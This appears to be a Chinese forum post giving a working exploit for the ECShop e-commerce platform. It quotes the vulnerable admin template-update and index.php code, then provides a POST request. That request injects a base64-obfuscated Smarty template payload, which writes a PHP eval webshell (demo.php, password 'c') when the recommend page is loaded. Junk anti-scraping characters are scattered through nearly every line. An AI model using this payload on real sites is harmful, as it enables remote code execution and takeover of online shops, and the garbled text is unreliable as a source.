首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
" Y$ I/ {/ n$ k. O' j, v' S t$ s
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
2 ?8 Z2 n- e# [3 W& ~9 |但是ecshop似乎不支持{php}{/php}这个标签来执行php代码0 r! O% ]2 u0 H
admin/template.php1 [" U+ r( b( a& h
" T5 D/ r1 M# E8 Z1 if ($_REQUEST['act'] == 'update_library') ; c- I# s2 |5 s
% U; q% M) q0 y; e( R- t5 \2 e2
. R& u5 Z6 ]6 u9 i& }
/ m$ H5 U7 \) h6 M* [$ W. e3 {
( |( e8 t: F7 {! l! Z& C5 m( m5 P+ L7 P, u- x, V0 ~! u4 c! K m
4 check_authz_json('library_manage');
r' Z$ H/ z9 j+ M8 K; Z( T
! D5 v; Y- g/ F* U/ n5
# i& h/ w1 S ?$ ]7 |' C, j) l! M4 I$ o+ ?6 A
6 $html = stripslashes(json_str_iconv($_POST['html']));
( K- d; B0 q( W; z9 j2 W" G4 U0 A: J
7 2 z, K+ z- e4 a5 S' g" x0 m5 c
' j9 f: ]6 d- {& K. C9 i, i8 b0 n8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 , k5 F3 k ]1 H& j5 i* C" M
5 X F2 a: b# e; O$ q, H2 c9
3 l l4 ^& K& @4 O& b
" x$ W) p& y- P7 q10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
3 m& _" c M( f5 B; `# N; L. X$ y" O0 J9 U- e- q: e8 t, D
11
1 n1 A: U0 t( d3 p4 g6 J5 p/ E0 _+ z" L$ P" J; g7 G1 f8 {
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
) g n$ S8 L8 q/ q! Q
* g. ^, X7 g. b! H- R0 _13 ) D: K) ?( o7 F5 u5 J1 R% ~8 |
" ^/ ~% A. r9 z14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
, C6 b) G3 s" f' n( t' t8 q( B% E) }' D+ g1 ?
15 { ; A( l7 G4 g+ r1 A. t
: N8 W- U. @: F' [: m
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
# F7 {" T0 {, [' D, V: l* n& F5 w+ b/ \
17 make_json_result('', $_LANG['update_lib_success']);
' j. ~- @) k( \' h1 }. O$ L$ A s0 a( A
18 }
) P' @3 C5 x3 K4 |0 j) ?6 h; U
* a* Y8 [, L( J6 @: q! G! y2 [) S# S9 s19 else
) a8 n+ N Z& e/ k7 ?/ Q; |" V% d" b+ l
20 { # b$ n8 ?$ b% o2 z2 r, y& J
1 ]6 I# S$ w. z21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ; h: L: f& W$ Y6 r
4 c) c, {4 a$ h0 X" J1 |# k2 B22 }
# N( a1 n: c- k0 j* n6 {
+ y! ]6 u. ^3 o* H% s5 c23 }
" t6 b7 N) p) {" j& i3 R* P# s, B' |% I$ q8 x7 [
那么找个比较方便调用了模板的文件
/ m9 D; f. p# Q* |& Rindex.php
5 G: j1 U& D! ?
8 T6 q" P6 t( B4 |" R# B: B1 if ($act == 'cat_rec')
* t6 {# C$ V; E! Q! M2 B/ |1 }) I, D9 H+ A: G+ T6 a' q
2 $ m# L% M+ g8 @
# `" y; f h x* n3 {
3 p! x; E9 E- f1 G/ F% ^- z7 D& l; z9 p, O/ F
4
4 p3 V2 _! G3 e/ K/ Z6 y% Q5 r+ k7 H1 I, X
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); " C- X) i& S) Q" v3 w d
* B8 [+ ]. x/ R4 t- e S
6 ; t. d& w5 O+ M2 v6 n
, i0 d7 }/ e {7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 6 k) M Y* G3 r
* T3 o% s7 N+ w" G+ c
8 : n- Z- a: v/ F( u' V2 y
( y" G, S* j. J, b, D9 n) J9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
7 E' L) x0 B5 w* M- J& A, o; {/ N/ l/ @& r/ F
10
( n# n# \! p. f3 S1 P
$ H5 R) o) x3 F. N) @3 r8 k* d11 include_once('includes/cls_json.php');
2 b3 e# i6 L9 |7 \! t: p2 m
+ P# K6 A1 z- I; k( Q' D4 G12 ! ?7 V. k% I7 l" t9 H& V5 j4 ], |
, Y; x8 x8 ?5 r1 b+ |( u# a# b13 $json = new JSON;
. P* ?8 E, m6 E2 f8 s; S$ x% i, f6 j8 K
# C9 d3 ^1 n$ y4 K# E14
8 J; L- I6 x6 m. [( R6 o7 j" L4 F5 z
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 8 v3 D3 L- @ Q: i' \4 T/ U9 r
6 S3 n! C2 f: {; ~2 y2 r' R% w
16
' B6 o. U0 X* X4 q9 ]: a2 [4 ]) A! C# J
17 $children = get_children($cat_id);
' m; C2 L* |1 O2 w, w4 [6 M' ~; t* ?! W
18
# g. V& d% M' z) A1 I- b: I( G$ ?3 z3 x
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 H9 ]2 A1 [/ f* F/ P
8 G p, w# d# z- ]9 x- ?20 0 J6 \" X# J+ c5 D0 y7 r
- m3 t8 w2 ]2 {2 b r$ G
21 $smarty->assign('cat_rec_sign', 1); / h X- a, f/ q# a# E
/ X! _' T8 Y, k6 s( W22 * L8 r p& R: A0 N( o
! \: K5 b9 S \$ p23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best - P( l9 z+ ^2 u; t( D; H- c2 w
8 O" @9 K3 B5 _! {+ G/ K" V
24 6 _( U9 X' f7 G1 T6 I: w
* J5 v( S% a* b, z: Y7 o- {
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; : i. ~! @# k4 B9 J" i) x$ z; ~7 i
# ?4 w2 J: S v26
* K4 k" L6 @ Q. k+ l- ~$ `' j& x: d5 y
27 echo $rec_array[$rec_type]; . j' Y& Q2 g& t. \
3 ]7 s9 L6 W* N; r7 N# z
28 6 c7 `& H2 p: i1 J
* k' f( q: ] S29 die($json->encode($result));
- |7 Q, |/ ~1 S- r2 u
5 L0 V8 l" X4 Q3 T: J30 9 t0 k7 @# [; z
9 i4 G9 I" |' x3 K/ w31 } , E* S" S( n7 l0 Y) M' @" A7 w Y
% D5 I6 S! p6 I7 T那么就有利用方法了& g7 `& N! z6 s% [! f. r0 @: Y
post包到http://localhost/ec/admin/template.php?act=update_library2 X4 V0 ~. m* Z6 M _7 e: Z
Post内容:2 J. V5 M/ Q$ a7 I. |
" _; v2 p( x6 N2 u8 o. D8 g' ~
) [& @ c; D5 t- P9 j2 n
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} & w8 h: o# w/ D7 |! f" |" j" ?
7 X! x/ [- ^. c" L然后访问http://localhost/ec/index.php?act=cat_rec
) u6 V9 K- c, o1 H7 b
4 `4 T2 S* H6 \. j6 Lshel地址:http://localhost/ec/demo.php7 s2 ~; y1 a1 ~* y; K+ ?
密码c
2 p. g+ u( x7 C( E0 T' F; ]0 Q- \1 ~
|